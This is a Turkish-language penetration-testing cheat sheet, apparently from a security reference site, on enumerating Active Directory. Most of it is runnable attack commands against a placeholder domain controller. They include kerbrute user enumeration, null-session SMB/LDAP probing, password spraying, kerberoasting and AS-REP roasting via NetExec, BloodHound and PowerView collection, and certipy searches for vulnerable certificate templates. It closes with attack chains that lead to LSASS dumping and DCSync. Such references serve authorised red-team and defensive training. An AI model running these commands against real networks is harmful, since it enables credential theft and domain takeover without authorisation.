AD Enumeration

MITRE ATT&CK · T1087.002 phase: discovery

Enumeration, AD sızma testinin temelidir: kullanıcılar, gruplar, bilgisayarlar, GPO’lar, ACL’ler, SPN’ler, delegation ayarları ve trust ilişkileri toplanır ve domain dominasyonuna giden saldırı yolları çıkarılır. Amaç “ne var?” değil; “elimdeki kimlikle hangi kenar üzerinden yükseliyorum?” sorusuna cevap vermektir.

Ön koşullar ve hedef çıktı

Aşama	Gerekli	Üretilen
Kimliksiz	DC IP/FQDN, domain adı	geçerli kullanıcı listesi, null session verisi
Kimlikli (low-priv)	herhangi domain hesabı	BloodHound zip, SPN/AS-REP, ACL, trust
Windows foothold	PowerShell / SharpHound	oturum (session) kenarları, local admin

BloodHound kenarları (sonraki adımlar): MemberOf, GenericAll, GenericWrite, WriteDacl, ForceChangePassword, AddMember, AllowedToDelegate, AllowedToAct, HasSession, AdminTo, ReadLAPSPassword, Owns, CanRDP, CanPSRemote.

Kimliksiz (unauthenticated)

Kullanıcı adı keşfi (Kerberos pre-auth) — kerbrute / GetNPUsers ile geçerli kullanıcıları ayıkla. Yanlış kullanıcı → KRB_AP_ERR_SKEW / PRINCIPAL_UNKNOWN ; doğru → preauth required. Kilitlenme yaratmaz (parola denemesi yok):
Terminal window
```
kerbrute userenum -d domain.local --dc 10.10.10.5 users.txt
```
Terminal window
```
impacket-GetNPUsers domain.local/ -usersfile users.txt -dc-ip 10.10.10.5 -no-pass
```

Anonim SMB/LDAP — null session ve anonim bind dene:

nxc smb 10.10.10.5 -u '' -p ''

nxc smb 10.10.10.5 -u 'guest' -p ''

enum4linux-ng -A 10.10.10.5

rpcclient -U '' -N 10.10.10.5   # enumdomusers / querydispinfo

ldapsearch -x -H ldap://10.10.10.5 -s base namingContexts

ldapsearch -x -H ldap://10.10.10.5 -s base -b '' '(objectClass=*)' *

Parola politikası (mümkünse) — spray öncesi kilitlenme eşiği:

nxc smb 10.10.10.5 -u user -p 'Wrong' --pass-pol   # geçerli user + yanlış parola

rpcclient -U '' -N 10.10.10.5 -c 'getdompwinfo'

RID cycling / SAMR — null session açıksa kullanıcı dump:

impacket-lookupsid domain.local/guest@10.10.10.5 -no-pass

impacket-samrdump domain.local/@10.10.10.5 -no-pass

Password spray (kimliksiz → ilk kimlik)

nxc smb 10.10.10.5 -u users.txt -p 'Summer2026!' --continue-on-success

kerbrute passwordspray -d domain.local --dc 10.10.10.5 users.txt 'Summer2026!'

Kimlikli (authenticated) — NetExec hızlı envanter

Geçerli bir düşük yetkili hesap elde edildikten sonra:

nxc smb 10.10.10.5 -u user -p 'Pass123' --users

nxc smb 10.10.10.5 -u user -p 'Pass123' --groups

nxc smb 10.10.10.5 -u user -p 'Pass123' --pass-pol

nxc smb 10.10.10.5 -u user -p 'Pass123' --computers

nxc smb 10.10.10.0/24 -u user -p 'Pass123' --shares

nxc smb 10.10.10.0/24 -u user -p 'Pass123' --sessions

nxc smb 10.10.10.0/24 -u user -p 'Pass123' --loggedon-users

nxc smb 10.10.10.0/24 -u user -p 'Pass123' --local-groups

nxc ldap 10.10.10.5 -u user -p 'Pass123' --bloodhound -c all --dns-server 10.10.10.5

nxc ldap 10.10.10.5 -u user -p 'Pass123' --trusted-for-delegation

nxc ldap 10.10.10.5 -u user -p 'Pass123' --admin-count

nxc ldap 10.10.10.5 -u user -p 'Pass123' --gmsa

nxc ldap 10.10.10.5 -u user -p 'Pass123' -M maq   # MachineAccountQuota

nxc ldap 10.10.10.5 -u user -p 'Pass123' --kerberoasting kerb.txt

nxc ldap 10.10.10.5 -u user -p 'Pass123' --asreproast asrep.txt

Hash ile aynı komutlar: -H :<NT_hash> veya -H LM:NT.

BloodHound / SharpHound toplama

Uzaktan Python collector :

bloodhound-python -u user -p 'Pass123' -d domain.local \
  -ns 10.10.10.5 -c all --zip

bloodhound-python -u user -p 'Pass123' -d domain.local -ns 10.10.10.5 -c DCOnly --zip

Windows — SharpHound (session kenarları için foothold şart):

SharpHound.exe -c All --zipfilename loot

SharpHound.exe -c Session,LoggedOn --Loop --LoopDuration 02:00:00

SharpHound.exe -c DCOnly

İçe aktar + Owned işaretle — ele geçirdiğin kullanıcı/host’ları BloodHound CE’de Mark as Owned ; sonra Shortest Paths from Owned .

Ayrıntılı kenar yorumu: BloodHound.

PowerView / ADModule (Windows)

Import-Module .\PowerView.ps1

Get-DomainUser -Properties samaccountname,serviceprincipalname,memberof,pwdlastset

Get-DomainGroupMember -Identity 'Domain Admins' -Recurse

Get-DomainComputer -Unconstrained

Get-DomainUser -SPN | select samaccountname,serviceprincipalname

Get-DomainUser -PreauthNotRequired

Get-DomainTrust / Get-DomainTrustMapping

Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs

Find-InterestingDomainAcl -ResolveGUIDs

Find-LocalAdminAccess -Verbose

Get-NetSession -ComputerName dc01

Get-ObjectAcl -Identity 'Domain Admins' -ResolveGUIDs

Get-DomainObjectAcl -SearchBase 'DC=domain,DC=local' -ResolveGUIDs |
? {$_.ActiveDirectoryRights -match 'GenericAll|WriteDacl|WriteProperty'}

Manuel LDAP sorguları

BASE='DC=domain,DC=local'

BIND='user@domain.local'

ldapsearch -x -H ldap://10.10.10.5 -D "$BIND" -w 'Pass123' \
  -b "$BASE" '(objectCategory=person)' sAMAccountName userPrincipalName

ldapsearch -x -H ldap://10.10.10.5 -D "$BIND" -w 'Pass123' \
  -b "$BASE" '(memberOf=CN=Domain Admins,CN=Users,DC=domain,DC=local)' sAMAccountName

ldapsearch -x -H ldap://10.10.10.5 -D "$BIND" -w 'Pass123' \
  -b "$BASE" '(&(objectClass=user)(servicePrincipalName=*))' sAMAccountName servicePrincipalName

ldapsearch -x -H ldap://10.10.10.5 -D "$BIND" -w 'Pass123' \
  -b "$BASE" '(&(objectCategory=person)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' sAMAccountName

ldapsearch -x -H ldap://10.10.10.5 -D "$BIND" -w 'Pass123' \
  -b "$BASE" '(userAccountControl:1.2.840.113556.1.4.803:=524288)' sAMAccountName

ldapsearch -x -H ldap://10.10.10.5 -D "$BIND" -w 'Pass123' \
  -b "$BASE" '(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))' dNSHostName

Delegation, ADCS, LAPS, trust — hedefli enum

impacket-findDelegation domain.local/user:'Pass123' -dc-ip 10.10.10.5

certipy find -u user@domain.local -p 'Pass123' -dc-ip 10.10.10.5 -vulnerable -stdout

nxc ldap 10.10.10.5 -u user -p 'Pass123' -M laps

nltest /domain_trusts /all_trusts

nxc ldap 10.10.10.5 -u user -p 'Pass123' --dc-list

Komut üreteci

AD Enum · NetExec LDAP

embedded tool

DCUserPassword

Generated command

nxc ldap 10.10.10.5 -u lowpriv -p Pass123 --users --groups --pass-pol

AD Enum · NetExec LDAP

Saldırı zinciri örnekleri

1) kerbrute userenum → password spray → low-priv
2) bloodhound All → GenericWrite on WORKSTATION$ → RBCD → local admin
3) AS-REP roast → kırılan servis hesabı → AdminTo DA laptop → LSASS → DA
4) certipy find ESC1 → req SAN=Administrator → DCSync

Yaygın tuzaklar

Kerberos komutlarında IP yerine FQDN ; DNS ( -ns / hosts) şart.
Clock skew > 5 dk → bilet/auth fail; ntpdate veya faketime .
BloodHound Session kenarı stale olabilir; loop collection kullan.
MachineAccountQuota=0 → RBCD için yeni makine hesabı açılamaz.
Guest/null session modern DC’lerde kapalı; yine de eski file server’larda dene.

Sonraki adımlar

AS-REP Roasting / Kerberoasting
ACL Abuse / ADCS ESC1
BloodHound ile yol seçimi